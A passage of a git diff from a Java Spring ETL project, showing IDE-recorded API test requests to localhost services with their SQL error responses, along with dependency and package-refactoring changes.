java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \\u0027explain ) VALUES ( 1,\\\\n\\u0027assd\\u0027,\\\\n1,\\\\n1,\\\\n1,\\\\n\\u0027\\u0027 )\\u0027 at line 6\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \\u0027explain ) VALUES ( 1,\\\\n\\u0027assd\\u0027,\\\\n1,\\\\n1,\\\\n1,\\\\n\\u0027\\u0027 )\\u0027 at line 6\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":30.0,\"second\":57.0,\"nano\":6.745335E8}}},{\"url\":\"http://localhost:9098/task/addTask\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"taskName\\\": \\\"任务二\\\",\\n \\\"taskId\\\": 1,\\n \\\"taskWeight\\\": 1,\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/task/addTask\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error updating database. Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \\u0027explain ) VALUES ( 1,\\\\n\\u0027任务二\\u0027,\\\\n1,\\\\n1,\\\\n1,\\\\n\\u0027\\u0027 )\\u0027 at line 6\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/TaskMapper.java (best guess)\\\\r\\\\n### The error may involve com.etl.database.server.mapper.TaskMapper.insert-Inline\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: INSERT INTO t_task ( id, task_name, task_id, task_weight, status, explain ) VALUES ( ?, ?, ?, ?, ?, ? )\\\\r\\\\n### Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \\u0027explain ) VALUES ( 1,\\\\n\\u0027任务二\\u0027,\\\\n1,\\\\n1,\\\\n1,\\\\n\\u0027\\u0027 )\\u0027 at line 6\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \\u0027explain ) VALUES ( 1,\\\\n\\u0027任务二\\u0027,\\\\n1,\\\\n1,\\\\n1,\\\\n\\u0027\\u0027 )\\u0027 at line 6\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":33.0,\"second\":52.0,\"nano\":8.550991E8}}}],\"/taskweight/findDataSourceType\":[{\"url\":\"http://localhost:9098/taskweight/findDataSourceType\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/taskweight/findDataSourceType\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error querying database. Cause: java.sql.SQLSyntaxErrorException: Table \\u0027etl.task_weight\\u0027 doesn\\u0027t exist\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/TaskWeightMapper.java (best guess)\\\\r\\\\n### The error may involve defaultParameterMap\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: SELECT t.id,t.weight_name FROM task_weight t\\\\r\\\\n### Cause: java.sql.SQLSyntaxErrorException: Table \\u0027etl.task_weight\\u0027 doesn\\u0027t exist\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Table \\u0027etl.task_weight\\u0027 doesn\\u0027t exist\\\",\\\"data\\\":null}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":15.0,\"minute\":22.0,\"second\":6.0,\"nano\":1.579815E8}}},{\"url\":\"http://localhost:9098/taskweight/findDataSourceType\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"weightName\\\": \\\"紧急\\\"\\n },\\n {\\n \\\"id\\\": 2,\\n \\\"weightName\\\": \\\"高\\\"\\n },\\n {\\n \\\"id\\\": 3,\\n \\\"weightName\\\": \\\"中\\\"\\n },\\n {\\n \\\"id\\\": 4,\\n \\\"weightName\\\": \\\"低\\\"\\n }\\n ]\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":27},\"time\":{\"hour\":15,\"minute\":23,\"second\":8,\"nano\":227501000}}}]}",
+ "ApiPost:METDOD_SEND_RECORD:etl-auth-server": "{\"/user/login\":[{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"黑宝宝\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"用户不存在\\\",\\n \\\"data\\\": \\\"黑宝宝\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":3.0},\"time\":{\"hour\":15.0,\"minute\":27.0,\"second\":9.0,\"nano\":6.025242E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 0,\\n \\\"message\\\": \\\"success\\\",\\n \\\"data\\\": {\\n \\\"access_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5OTkzNDM1LCJjcmVhdGVkIjoxNzE5OTkxNjM1NTA1LCJ1c2VybmFtZSI6ImxpeiJ9.gJARnHLD8MtQ0O_DTA92eXrSS-_026xkiMvWPHgnJ64Z2HGK3WvteEJTku-bofUvHJyHjj0B_BvF23a4BGGFvg\\\",\\n \\\"expire_in\\\": 1800000,\\n \\\"refresh_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5OTk1MjM1LCJjcmVhdGVkIjoxNzE5OTkxNjM1NjAwLCJ1c2VybmFtZSI6ImxpeiJ9.UCLZev9gCDrZnNUyZmmFDVeD05q3KUJd4LhG7WxUfQhzQj-ztMPh_XvWafVmU7pZpRhsVYYxoXHXJQ70X9pLYQ\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024,\"month\":7,\"day\":3},\"time\":{\"hour\":15,\"minute\":27,\"second\":15,\"nano\":747308400}}}]}",
+ "ApiPost:METDOD_SEND_RECORD:etl-database-server": "{\"/file/fileList\":[{\"url\":\"http://localhost:9098/file/fileList\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/file/fileList\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error querying database. Cause: java.sql.SQLSyntaxErrorException: Table \\u0027etl.file\\u0027 doesn\\u0027t exist\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/FileMapper.java (best guess)\\\\r\\\\n### The error may involve defaultParameterMap\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: SELECT t.id,t.file_name,t.file_path,t.is_listening,t.status,t.expalin,t.create_time,t.update_time,t.create_by,t.update_by,t.is_delete FROM file t\\\\r\\\\n### Cause: java.sql.SQLSyntaxErrorException: Table \\u0027etl.file\\u0027 doesn\\u0027t exist\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Table \\u0027etl.file\\u0027 doesn\\u0027t exist\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":10.0,\"second\":39.0,\"nano\":1.043764E8}}},{\"url\":\"http://localhost:9098/file/fileList\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/file/fileList\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error querying database. Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.is_delete\\u0027 in \\u0027field list\\u0027\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/FileMapper.java (best guess)\\\\r\\\\n### The error may involve defaultParameterMap\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: SELECT t.id,t.file_name,t.file_path,t.is_listening,t.status,t.expalin,t.create_time,t.update_time,t.create_by,t.update_by,t.is_delete FROM t_file t\\\\r\\\\n### Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.is_delete\\u0027 in \\u0027field list\\u0027\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.is_delete\\u0027 in \\u0027field list\\u0027\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":12.0,\"second\":9.0,\"nano\":2.088124E8}}}],\"/file/fileList/{filePath}\":[{\"url\":\"http://localhost:9098/file/fileList/{filePath}\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"key\":\"filePath\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/file/fileList/\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eThu Jul 04 14:21:01 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dNot Found, status\\u003d404).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":21.0,\"second\":2.0,\"nano\":3350900.0}}},{\"url\":\"http://localhost:9098/file/fileList\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"key\":\"filePath\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/file/fileList\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eThu Jul 04 14:22:04 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dNot Found, status\\u003d404).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":22.0,\"second\":4.0,\"nano\":1.131446E8}}},{\"url\":\"http://localhost:9098/file/fileList/1\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"key\":\"filePath\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/file/fileList/1\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error querying database. Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.is_delete\\u0027 in \\u0027field list\\u0027\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/FileMapper.java (best guess)\\\\r\\\\n### The error may involve defaultParameterMap\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: SELECT t.id,t.file_name,t.file_path,t.is_listening,t.status,t.expalin,t.create_time,t.update_time,t.create_by,t.update_by,t.is_delete FROM t_file t WHERE (t.file_path LIKE ?)\\\\r\\\\n### Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.is_delete\\u0027 in \\u0027field list\\u0027\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.is_delete\\u0027 in \\u0027field list\\u0027\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":27.0,\"second\":28.0,\"nano\":5.500032E8}}},{\"url\":\"http://localhost:9098/file/fileList/{filePath}\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"key\":\"filePath\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/file/fileList/\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eThu Jul 04 14:27:50 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dNot Found, status\\u003d404).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":27.0,\"second\":50.0,\"nano\":1.699672E8}}},{\"url\":\"http://localhost:9098/file/fileList/{filePath}\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"key\":\"filePath\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/file/fileList/\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eThu Jul 04 14:29:23 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dNot Found, status\\u003d404).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":29.0,\"second\":23.0,\"nano\":5.463462E8}}},{\"url\":\"http://localhost:9098/file/fileList/1\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"key\":\"filePath\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":29.0,\"second\":29.0,\"nano\":3.056571E8}}},{\"url\":\"http://localhost:9098/file/fileList/1\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"filePath\\\": \\\"\\\",\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"fileName\\\": null,\\n \\\"filePath\\\": null,\\n \\\"isListening\\\": null,\\n \\\"status\\\": null,\\n \\\"expalin\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":38.0,\"second\":54.0,\"nano\":3.148396E8}}},{\"url\":\"http://localhost:9098/file/fileList/{filePath}\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"filePath\\\": \\\"\\\",\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"fileName\\\": null,\\n \\\"filePath\\\": null,\\n \\\"isListening\\\": null,\\n \\\"status\\\": null,\\n \\\"expalin\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":14.0,\"minute\":42.0,\"second\":43.0,\"nano\":3.564567E8}}}],\"/codeType/findCodeType\":[{\"url\":\"http://localhost:9098/codeType/findCodeType\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":7.0,\"day\":4.0},\"time\":{\"hour\":15.0,\"minute\":34.0,\"second\":18.0,\"nano\":5.51486E7}}},{\"url\":\"http://localhost:9098/codeType/findCodeType\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"codeTypeName\\\": \\\"mysql\\\"\\n },\\n {\\n \\\"id\\\": 2,\\n \\\"codeTypeName\\\": \\\"redis\\\"\\n }\\n ]\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024,\"month\":7,\"day\":4},\"time\":{\"hour\":15,\"minute\":34,\"second\":35,\"nano\":608316200}}}]}",
"RequestMappingsPanelOrder0": "0",
"RequestMappingsPanelOrder1": "1",
"RequestMappingsPanelWidth0": "75",
@@ -107,19 +294,16 @@
"RunOnceActivity.OpenProjectViewOnStart": "true",
"RunOnceActivity.ShowReadmeOnStart": "true",
"WebServerToolWindowFactoryState": "false",
- "git-widget-placeholder": "lzm",
- "jdk.selected.JAVA_MODULE": "1.8",
- "last_opened_file_path": "D:/workspace/ETL/etl-database/etl-database-server/src/main/resources/mapper",
+ "last_opened_file_path": "D:/专高五",
"node.js.detected.package.eslint": "true",
"node.js.detected.package.tslint": "true",
"node.js.selected.package.eslint": "(autodetect)",
"node.js.selected.package.tslint": "(autodetect)",
- "nodejs_package_manager_path": "npm",
"project.structure.last.edited": "Modules",
"project.structure.proportion": "0.15",
"project.structure.side.proportion": "0.2",
- "settings.editor.selected.configurable": "preferences.sourceCode.Vue template",
- "spring.configuration.checksum": "82cfc8e23dc565bbdd8aa4e116342cb8",
+ "settings.editor.selected.configurable": "preferences.pluginManager",
+ "spring.configuration.checksum": "f07680b69280ccba4e55dd860becf88a",
"vue.rearranger.settings.migration": "true"
}
}
@@ -127,34 +311,9 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
@@ -164,33 +323,7 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
@@ -233,134 +366,28 @@
-
-
-
+
1710157283817
1710157283817
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
-
-
- 1719019784088
-
-
-
- 1719019784088
-
-
-
- 1719146761411
-
-
-
- 1719146761412
-
-
-
- 1719153349682
-
-
-
- 1719153349682
-
-
-
- 1719369015142
-
-
-
- 1719369015142
-
-
-
- 1719404573843
-
-
-
- 1719404573843
-
-
-
- 1719455117410
-
-
-
- 1719455117410
-
-
-
- 1719476829205
-
-
-
- 1719476829206
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/etl-auth/etl-auth-common/etl-auth-common.iml b/etl-auth/etl-auth-common/etl-auth-common.iml
deleted file mode 100644
index ca87593..0000000
--- a/etl-auth/etl-auth-common/etl-auth-common.iml
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/etl-auth/etl-auth-common/pom.xml b/etl-auth/etl-auth-common/pom.xml
index 60a68f6..f1a8fab 100644
--- a/etl-auth/etl-auth-common/pom.xml
+++ b/etl-auth/etl-auth-common/pom.xml
@@ -52,7 +52,4 @@
compile
-
-
-
diff --git a/etl-auth/etl-auth-server/pom.xml b/etl-auth/etl-auth-server/pom.xml
index 9a080dc..ac19771 100644
--- a/etl-auth/etl-auth-server/pom.xml
+++ b/etl-auth/etl-auth-server/pom.xml
@@ -16,11 +16,6 @@
2021.0.5.0
-
- com.bwie
- etl-auth-common
- 1.0-SNAPSHOT
-
org.springframework.boot
spring-boot-starter-thymeleaf
@@ -32,9 +27,9 @@
1.4.0
- io.springfox
- springfox-swagger2
- 3.0.0
+ com.github.xiaoymin
+ knife4j-openapi2-spring-boot-starter
+ 4.4.0
com.bwie
@@ -56,11 +51,7 @@
com.mysql
mysql-connector-j
-
- com.github.xiaoymin
- knife4j-spring-boot-starter
- 3.0.3
-
+
com.baomidou
mybatis-plus-boot-starter
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MvcConfig.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MvcConfig.java
deleted file mode 100644
index d9d7556..0000000
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MvcConfig.java
+++ /dev/null
@@ -1,18 +0,0 @@
-//package com.auth.server.config;
-//import com.auth.server.interceptor.UserInterceptor;
-//import com.auth.server.mapper.UserMangeMapper;
-//import org.springframework.beans.factory.annotation.Autowired;
-//import org.springframework.context.annotation.Configuration;
-//import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
-//import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
-//@Configuration
-//public class MvcConfig implements WebMvcConfigurer {
-// @Autowired
-// private UserMangeMapper userMangeMapper;
-// @Override
-// public void addInterceptors(InterceptorRegistry registry) {
-// //添加拦截器,排除/路径和 /login路径
-// registry.addInterceptor(new UserInterceptor(userMangeMapper))
-// .excludePathPatterns("/","/user/login");
-// }
-//}
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java
index 7aa273d..ddf260b 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java
@@ -2,8 +2,8 @@ package com.auth.server.controller;
import com.alibaba.fastjson2.JSON;
import com.alibaba.nacos.api.model.v2.Result;
-import com.auth.common.entity.UserAccount;
-import com.auth.common.enums.PermissionConstants;
+
+import com.auth.server.entity.UserAccount;
import com.auth.server.service.UserManageService;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.etl.common.enums.ResponseCodeEnum;
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java
index 1569cd3..1221762 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java
@@ -1,8 +1,8 @@
package com.auth.server.controller;
-import com.auth.common.entity.PathPermission;
-import com.auth.common.entity.RolesPermission;
-import com.auth.common.enums.PermissionConstants;
+import com.auth.server.entity.PathPermission;
+import com.auth.server.entity.RolesPermission;
+import com.auth.server.enums.PermissionConstants;
import com.auth.server.service.PathService;
import com.auth.server.service.PermissionService;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/PathPermission.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/PathPermission.java
similarity index 96%
rename from etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/PathPermission.java
rename to etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/PathPermission.java
index 43726c2..cf9c9f9 100644
--- a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/PathPermission.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/PathPermission.java
@@ -1,4 +1,4 @@
-package com.auth.common.entity;
+package com.auth.server.entity;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/RolesPermission.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/RolesPermission.java
similarity index 95%
rename from etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/RolesPermission.java
rename to etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/RolesPermission.java
index 7860c7d..2fcb3b4 100644
--- a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/RolesPermission.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/RolesPermission.java
@@ -1,4 +1,4 @@
-package com.auth.common.entity;
+package com.auth.server.entity;
import com.baomidou.mybatisplus.annotation.IdType;
